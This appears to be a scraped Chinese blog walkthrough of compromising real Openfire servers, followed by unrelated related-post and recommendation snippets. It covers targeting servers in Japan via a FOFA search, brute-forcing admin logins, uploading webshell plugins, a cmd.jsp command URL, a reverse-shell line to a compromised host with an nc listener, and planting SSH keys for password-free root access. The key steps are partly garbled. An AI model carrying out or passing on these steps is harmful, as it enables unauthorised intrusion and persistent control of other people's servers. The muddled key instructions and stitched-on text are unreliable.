1.目标获取
(1)fofa.so网站使用搜索body="Openfire, 版本: " && country=JP,可以获取日本存在的Openfire服务器。如图1所示。

图1搜索目标
2.暴力或者使用弱口令登录系统
   一般弱口令admin/admin、admin/admin888、admin/123456,如果不是这些请直接使用burpsuite进行暴力破解,能够正常访问的网站,如图2所示,openfire可能开放不同端口。

图2openfire后台登陆地址
3.进入后台
   输入密码正确后,如图3所示,进入后台,可以查看服务器设置,查看用户/用户群,查看会话,分组聊天以及插件等信息。

图3进入后台
4.查看并上传插件
   单击插件,再其中可以看到所有的插件列表,在上传插件下单击上传插件,选择专门生成的openfire带webshell的插件,如图4所示。

图4上传插件
在本次测试中,从互联网收集了连个插件,如图5所示,均成功上传。

图5上传带webshell的插件
5.获取webshell

(1)helloworld插件获取webshell
  单击服务器-服务器设置,如图6所示,如果helloworld插件上传并运行成功,则会在配置文件下面生成一个用户接口设置。单击该链接即可获取webshel,如图7所示。

图6查看服务器设置

图7获取webshell
(2)broadcast插件获取webshell
   通过url+ plugins/broadcast/webshell文件名称来和获取:
http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/cmd.jsp?cmd=whoami
http://xxx.xxx.xxx.xxx:8080/plugins/broadcast/browser.jsp
   在helloworld插件中也可以通过地址来获取
http://xxx.xxx.xxx.xxx:8080/plugins/helloworld/chakan.jsp
  如图8,图9所示,分别获取broadcast的webshell以及查看当前用户权限为root。

图8获取当前用户权限

图9获取webshell
6.免root密码登录服务器
   渗透到这里按照过去的思路应该已经结束,不过笔者还想尝试另外一种思路,虽然我们通过webshell可以获取/etc/shadow文件,但该root及其它用户的密码明显不是那么容易被破解的。服务器上面用ssh,能否利用公私钥来解决访问问题。
(1)反弹到肉鸡
执行一下命令,将该服务器反弹到肉鸡服务器xxx.xxx.xxx.xxx的8080端口,需要提前使用nc监听8080端口,也即执行“nc -vv -l -p 8080”如图10所示。

图10监听8080端口
(2)反弹shell到肉鸡
执行命令“bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/8080 0>&1”反弹到肉鸡,如图11所示,获取一个反弹shell。

图11反弹shell
7.实际操作流程

(1)远程服务器生成公私钥
在被渗透的服务器上执行“ssh-keygen -t rsa”命令,默认三次回车,如图12所示,会在root/.ssh/目录下生成id_rsa及id_rsa.pub,其中id_rsa为服务器私钥,特别重要,id_rsa.pub为公钥。

图12在远处服务器上生成公私钥
(2)本地linux 上生成公私钥
  在本地linux上执行命令 “ssh-keygen -t rsa”生成公私钥,将远程服务器的id_rsa下载到本地,执行命令“cat id_rsa > /root/.ssh/authorized_keys”命令,将远处服务器的私钥生成到authorized_keys文件。
(3)将本地公钥上传到远程服务器上并生成authorized_keys
cat id_rsa.pub >/root/.ssh/authorized_keys
(4)删除多余文件
rm id_rsa.pub
rm id_rsa
(5)登录服务器
   使用“ssh [email]root@1xx.1xx.111.1xx[/email]”登录服务器,不用输入远程服务器的密码,达到完美登录服务器的目的。效果如图13所示。

图13成功登录对方服务器
8.总结
(1)Openfire需要获取管理员帐号和密码,目前通杀所有帮本。Openfire最新版本为4.1.5.
(2)可以通过burpsuite进行admin管理员帐号的暴力破解。
(3)使用openfire安全加固,可以使用强密码,同时严格设置插件权限,建议除了必须的插件目录外,禁用新创建目录。

OpenFire后台插件上传获取webshell及免密码登录linux服务器的更多相关文章

  1. macOS Sierra上ssh免密码登录linux服务器

    1.生成私钥文件 在客户端终端下输入以下命令 ssh-keygen -t rsa 每次执行 ssh-keygen -t rsa 产生的私钥文件都会不同 如果文件"~/.ssh/id_rsa& ...

  2. Python基于Python实现批量上传文件或目录到不同的Linux服务器

    基于Python实现批量上传文件或目录到不同的Linux服务器   by:授客 QQ:1033553122 实现功能 1 测试环境 1 使用方法 1 1. 编辑配置文件conf/rootpath_fo ...

  3. ActiveMQ【CVE-2016-3088】上传公钥实现sssh免密登录

    Apache-ActiveMQ是apache旗下的消息中间件,至今为止还是有较多的甲方爸爸们,还在使用该中间件.据了解,Apache-ActiveMQ中间件有2个厉害的CVE,一个是CVE-2016- ...

  4. webupload-upload执行上传时,进入的路径与linux服务器上的不一致

    将if判断处改为garage即可. 原因是因为if处判断处理没有执行,因为要需要把从garage开始的到后面的字符串都去掉才行 不然:local=http://www.xxx.com/garage s ...

  5. WP8.1 Study17:网络之后台下载/上传及HttpClient

    一.后台下载/上传 1.简介 使用BackgroundTransferGroup可以十分方便操作上传及下载文件,BackgroundDownloader和BackgroundUploader类中的方法 ...

  6. ecshop 后台批量上传商品 完整上传

    ecshop 后台批量上传商品,之所以无法上传,是因为后台上传php文件方法中没有导入商品原图路径 将ecshop根目录中的admin/goods_batch.php文件全部修改为 <?php ...

  7. 织梦DEDE网站后台如何上传附件

    如题,织梦DEDE网站后台如何上传附件?今天本人遇到这样的问题,在网站后台里点击一番后,成功上传了一个pdf文件和doc文件,特来分享经验. 工具/原料 织梦dede网站 doc文件 方法/步骤 1 ...

  8. android+nutz后台如何上传和下载图片

    android+nutz后台如何上传和下载图片  发布于 588天前  作者 yummy222  428 次浏览  复制  上一个帖子  下一个帖子  标签: 无 最近在做一个基于android的ap ...

  9. phpcms v9升级后台无法上传缩略图的原因分析

    phpcms V9 是目前国内使用人数最多的一款开源免费的CMS系统,正是由于他的免费性,开源性,以及其自身的功能性比较强大,所以倍受许多站长朋友们的亲来,以及许多的公司的喜欢.phpcms也为了完善 ...

随机推荐

  1. PassArrayByCopy_test.php

    <?php //PassArrayByCopy_test.php $a=array("a","b","c"); function te ...

  2. Scrapy笔记02- 完整示例

    Scrapy笔记02- 完整示例 这篇文章我们通过一个比较完整的例子来教你使用Scrapy,我选择爬取虎嗅网首页的新闻列表. 这里我们将完成如下几个步骤: 创建一个新的Scrapy工程 定义你所需要要 ...

  3. Java 的API(API: Application(应用) Programming(程序) Interface(接口))

    按 ctrl 点击查看源代码: 一.equals方法: 1.用于比较两个对象是否相同. 2.Objec 类中,若两边是引用数据类型,比较的是两个对象的内存地址. 3.Objec 类中,若两边是数值类型 ...

  4. 洛谷 P1234 小A的口头禅

    这里是传送门啊 I'm here! 题目描述 小A最近有了一个口头禅"呵呵",于是他给出了一个矩形,让你求出里面有几个hehe(方向无所谓). 输入输出格式 输入格式: 第一行两个 ...

  5. PATA1062 Talent and Virtue

    技术要点就是,一个是cmp函数的书写,首先应该分清楚排序关系,然后按照顺序依次排下去. 还有这里有一个巧妙点就是,在结构体中加入了类别这个标签. 学会抽象分类解决,排序比较函数cmp本质工作就是比较结 ...

  6. 使用Swagger2构建SpringMVC项目中的Restful API文档

    使用Swagger自动生成API文档,不仅增加了项目的可维护性,还提高了API的透明度更利于快速测试等工作,便于更快地发现和解决问题. 本篇文章只记录整合过程,关于Security Configura ...

  7. apply() 函数家族介绍

    apply() 函数算是R语言中很基础的一个函数,同时还有 sapply()  lapply()  tapply() 函数精简了 apply() 函数的用法. apply() 函数是一个很R语言的函数 ...

  8. Gamma展示

    团队成员简介 团队成员 角色 个人博客地址 刘峻辰 后端开发 刘峻辰 焦云鹏 后端开发 焦云鹏 赵智源 测试&服务器部署 赵智源 肖萌威 前端开发 肖萌威 杨亦鑫 前端开发 杨亦鑫 戴荣 UI ...

  9. C++ getline()的两种用法

    getline():用于读入一整行的数据.在C++中,有两种getline函数.第一种定义在头文件<istream>中,是istream类的成员函数:第二种定义在头文件<string ...

  10. CSS3rem自适应

    CSS3rem自适应 如果外层背景是 width:100%; height:100%;拉伸的背景 那top必须要用百分比 才能保证跟背景结合如果外层背景是 width:100%; 自适应宽度的背景 那 ...